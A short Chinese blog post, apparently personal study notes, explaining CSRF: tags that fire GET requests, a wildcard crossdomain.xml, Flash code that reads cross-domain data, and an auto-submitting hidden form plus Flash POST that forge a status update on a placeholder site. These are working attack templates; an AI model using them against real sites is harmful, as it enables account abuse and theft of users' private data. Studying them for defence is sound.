web前端阅读小记_csrf记录


csrf就是xss劫持用户去模拟操作,如果操作能够再次传播这个xss,就形成了xss蠕虫。


html csrf

src/href等链接地址的标签发起一个get请求

google出的href属性的标签
https://www.google.com.hk/search?sitesearch=w3school.com.cn&as_q=href&gws_rd=cr,ssl

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url= ">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<video src="">
<audio src="">
<area href="">
<a href="">
<table background="">
@import ""
background:url("")

flash csrf

  1. 跨域获取隐私数据
    根目录存在crossdomain.xml配置文件
<?xml vesion="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

*表示任意域的flash可以请求本域的资源
恶意falsh代码:

import flash.net.*;
var loader = new URLLoader(new URLRequest("http://www.foo.com/prate"));
loader.addEventListener(Event.COMPLETE,function(){
//获取隐私数据
loader.data;
});
loader.load();
  1. 跨域提交数据操作
    html csrf
<form action="http://t.xxx.com/article/updateweet" method="post">
<input type="hidden" name="status" value="html_csrf_here" />
</form>
<script>document.forms[0].submit();</script>

但是提交后会有json数据的返回
可以用swf来进行攻击,更加隐蔽

import flash.net.URLRequest;
function post(msg){
     var url = new URLRequest("http://t.xxx.com/article/updateweet");
     var _v = new URLVariables();
     _v = "status="+msg;
     url.method = "POST";
     url.data = _v;
     //发送数据
     sendTOURL(url);
}
post('flash_csrf_here');
posted @ 2015-09-05 16:33  l3m0n  阅读(629)  评论(0)    收藏  举报